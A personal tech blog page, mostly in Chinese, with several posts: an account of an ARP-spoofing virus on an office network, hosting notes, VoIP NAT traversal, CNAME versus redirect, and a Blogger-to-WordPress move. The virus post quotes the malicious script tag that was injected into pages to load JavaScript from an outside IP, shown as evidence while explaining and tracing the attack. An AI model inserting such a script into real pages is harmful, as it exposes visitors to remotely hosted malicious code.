Config VirtualBox with Host Interface Networking (HIF)

Diagram as the note.

Config VirtualBox with Host Interface Networking (HIF)

遭遇ARP欺骗病毒

一早上内部办公系统访问起来就很怪异,不是编码错误,就是CSS加载不正常。我去开会,网管就开始胡乱修改配置。直到到中午回到办公桌,打开页面看源码,发现代码头一行被加上了下面的内容。

<script src=http://66.186.33.44/n.js></script>

第一反应是网通干的流氓事。但是访问外部网站没有这个症状,说明他们还没屎到这个地步。上网继续搜搜,很多人都遇到同样的事情,说是”ora.3168a.com”病毒。是一种arp欺骗的病毒。不过也没谁说清其中的原理或者解决办法。

实际上原理也不复杂。

    LAN上任意一台计算机(不一定是服务器),比如是192.168.0.64,中了这种病毒后,就开始疯狂发送arp的广播包,说:“192.168.0.1的mac地址是 xx-xx-xx-xx-xA”。因为在链路层上,所有的机器只能靠这种广播来识别ip所对应的物理地址,所以每台机器的arp缓存中,都记录下了“192.168.0.1的mac地址是 xx-xx-xx-xx-xA”。
    这个192.168.0.1实际上是网关或者其他服务器。虽然它也时不时广播一下自己的真实mac地址:“192.168.0.1的mac地址是 xx-xx-xx-xx-xB”,但是早就被192.168.0.64的疯狂喊叫淹没了。
    然后其他计算机想把包发送给网管或者服务器192.168.0.1的时候,按照他们已经获得的信息,就在链路层上将包发给了xx-xx-xx-xx-xA。那么这个xx-xx-xx-xx-xA到底是谁呢?嘿嘿,正是坏蛋
    192.168.0.64。
    192.168.0.64真是个不折不扣的坏蛋。它把别的机器发给192.168.0.1的包都给收到之后,看看是不是http包,是的话就在前面加进去了前面看到的”script”那一句。然后再偷偷摸摸的按照xx-xx-xx-xx-xB转发给了网关。

用抓包软件可以看到xx-xx-xx-xx-xA在不停的发送上面的ARP包,可是比较难查到这台机器的IP或主机名。arp -a也不行。解决的办法从根本上讲,有三个个:

    对于每个局域网上的ip,运行”arp ip”,看看得到的mac地址是不是xx-xx-xx-xx-xA。
    每台机器挨个查看mac地址。
    分区断网,缩小范围查找。(特务找电台)

不过发现了 nbtscan 这个工具,可以直接解决这个问题。

最后发现,是外地实验室一个哥们儿过来出差,没有笔记本,就把他的台式机(已中毒)端过来插到办公室的网络上了…

开始说怀疑网通电信这帮服务商会干这个事,其实一点也不冤枉他们。他们不用ARP欺骗,因为所有的包都要经过他们的路由器,丫的直接往里塞东西就行了。

想起来一个不着调的事情,就是在高中,有位中年女老师不太招人喜欢,于是我们就叫她“马头人”。实际上这位老师姓徐。我们每天都不停地呱呱呱地广播着这个外号,终于有一天,一位新警察同学找这位老师有事,张嘴就是“马老师,有点事情找您…”

现在用的主机

其实换了很长一段时间了,有人问到,所以把现在用的主机说一下吧。

之所以不再使用SiteFlip,是因为丫的老说我占用CPU过头了。我就跑这么个干吧Wordpress,访问量没几个,能用什么CPU啊。给了我一个大单子,说哪哪段程序占资源了,让我找我的web master去。看不懂这个东西,干脆不用了。

很偶然发现NearlyFreeSpeech.net这个地方。很特别,按照使用情况付费,用得少花的就少。很适合这种自娱自乐的站点。目前基本上每天Storage一美分,Bandwidth一美分,数据库一美分,外加Email服务二美分。总共三毛多人民币,一个月十几块钱差不多了。不过实际上,支付的时候,还要交”Deposit Fee”,最少也要1刀。

这里的Email服务比较好玩,压根没有账户的设置。也就是说”随便啥玩意@charliezhu.com”都可以转发到设定好的邮箱。配合上Gmail以及Gmail的多账户功能(Send email as),就很齐备了。不过换句话说,如果申请了Google app,也没有必要继续用这种怪东西了。

另外不错的地方就是这个主机支持SSH。可以做什么用呢?嗯,可以管理管理主机,学学Linux入门。也可以像这位前辈一样,利用Putty通过ssh端口转发实现FireFox和MSN加密代理访问。要问搞这些名堂做什么,其实无非就是找找黄品源,看看毛选而已。不过这个主机可是收流量费的。其实如果嫌麻烦,最简单的办法可以用一些网页代理,连浏览器的代理服务器都不用设置。真是忍不住就往这上面撤,唉,本来挺美好的一件事儿…

VOIP穿越防火墙笔记总结

看过下面文章后的要点总结
How Skype & Co. get round firewalls

  • VOIP一般采用peer to peer的通信方式。但是直接连接NAT后面的主机往往会被NAT Router上的防火墙挡住。
  • NAT防火墙要从内部打洞。因为TCP的连接建立和UDP的地址、端口映射都必须从防火墙内部发起建立。
  • 要有中间服务器协助打洞,建立最初的p2p连接。主机与中间服务器的连接是主机发起的。中间主机应该就是所谓的STUN服务器。

Difference between Redirect and CNAME

I am no more confused by the differences between name alias with CName record and Redirect settings provided by web hostings.

CName

Setting

Set a CName DNS record to add alias google.charliezhu.com to www.google.com

ip of google.charliezhu.com

E:\Documents and Settings\Charliezhu>ping google.charliezhu.com
Pinging www.l.google.com [64.233.189.104] with 32 bytes of data:

ip of google.com

E:\Documents and Settings\Charliezhu>ping google.com
Pinging www.l.google.com [64.233.189.104] with 32 bytes of data:

The HTTP headers

GET / HTTP/1.1
Host: google.charliezhu.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

HTTP/1.x 200 OK
Cache-Control: private
Content-Type: text/html
Set-Cookie: PREF=ID=18f0202fad0f0342:NW=1:TM=1166005857:LM=1166005857:S=XPXvoWJWL4FJ2qOF; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
Content-Encoding: gzip
Server: GWS/2.1
Content-Length: 1430
Date: Wed, 13 Dec 2006 10:30:57 GMT

Packets captured

The DNS server handles name resolve for the alias and answers proper CNAME class DNS responses.

dns.cname

Browser address bar

Browser never knows the address is an alias.

dns.cname.address.bar

Redirect

Setting

Add a sub-domain google-re.charliezhu.com as Redirect to http://www.google.com.

The HTTP Headers

The HTTP server echoes a response that tell the browser to redirect to another URL. That means the setting such as “redirect”, “auto forward” and so on are all handled by the Web servers but the DNS servers. They response to browser and expect the browser to make another request to the target host. That is totally ANOTHER web page request process as every time we type address in the address bar then go.

Some hosting as domainbank.com provided a URL forwarding service. It is implemented by HTTP server too and just responses a web page with frame contents the target URL you specified.

GET / HTTP/1.1
Host: google-re.charliezhu.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
… …

HTTP/1.x 301 Moved Permanently
Date: Wed, 13 Dec 2006 11:12:57 GMT
Server: Apache/2.0.54 (Unix) PHP/4.4.2 mod_ssl/2.0.54 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.1.4
Location: http://www.google.com/
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 190
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
———————————————————-

GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0
… …

HTTP/1.x 200 OK
Cache-Control: private
Content-Type: text/html
Content-Encoding: gzip
Server: GWS/2.1
Content-Length: 1977
Date: Wed, 13 Dec 2006 11:12:56 GMT

related post: 域名的基本概念

Moved from Blogger to Wordpress

Why

今天发现Blogger上写完东西之后,显示出来变乱。纠察原因是Template被截断了。应该是属于Blogger.com的事故吧。既然Dreamhost提供了一键安装Wordpress,不如就试试。blogger的“发布到其他主机”的模式,可能是最难割舍的吧。

安装Wordpress

在DreamHost 的Panel 中通过 “One-click Install” 安装Wordpress,很简单。安装到了 /charliezhu.com/wp 文件夹下。

Import to Wordpress

Wordpress管理界面中的Import功能很好用。

Remap Subdir

通过DreamHost的 Remap Sub-dir功能,把 http://www.charliezhu.com/blog 映射到 charliezhu.com/wp文件夹上。
提交后,大约几分钟后就生效了。

Manage Sub Domain

把原来 charlie.chempedia.com 这个子域名,修改到 charliezhu.com/wp文件夹上。
新增 blog.charliezhu.com 这个子域名,同样指向这个文件夹。
修改生效很快,十几分钟吧。

用了子域名之后,原来站内相对路径的图片或者站内链接,可能就失效了。要修改,以后也要注意。

设置Wordpress

  • 选择一个Theme。
  • Permalink
  • blog path to http://blog.charliezhu.com
  • Restore Google Adsense code on sidebar.

  • google-analytics


RSS on Feedburner

默认的rss 地址 http://blog.charliezhu.com/feed/ ,修改到Feedburnerfeed ,http://feeds.feedburner.com/charliezhu。
把这个feed修改到Wordpress 的模版中。仅修改了Sidebar,没修改Footer。

Feedburner的确很有用,尤其是这样频繁迁移折腾的情况下,如果有人订阅,不会受到影响。

Del.ici.ous daily blog post

blogger.com的这个功能始终不能用,换了Wordpress 可以如愿以偿尝试一下了。
首先为del.icio.us添加一个用于post的用户,放在了Author组里。

设置如下:

job_name out_name out_pass out_url out_time out_blog_id out_cat_id controls
WordPressDailyPost delicious_user password_for_delicious_user http://blog.charliezhu.com/xmlrpc.php 11 15


out_time 是这个job运行的时间。好像是GMT时间,怎么换算到本地的时间,还需要研究。

References:

整理文章

修改本地资源的相对路径为绝对路径。
修改分类信息(Categories) 。Blogger里面没有分类的功能。既然google收购了blogger,不使用分类也可以使用tag或者google常用的label 啊。Google已经从专注于做好一个产品的阶段到了多种产品开发同时进行的阶段,光环慢慢消散了。

配置Writely

配置Writely ,把这片记叙文post到新blog上。

Random posts

  • 结婚照
  • 鸟蛋
  • 被树熊点到,回答问题
  • 9月9日购书单
  • 贝尔斯坦服务器维护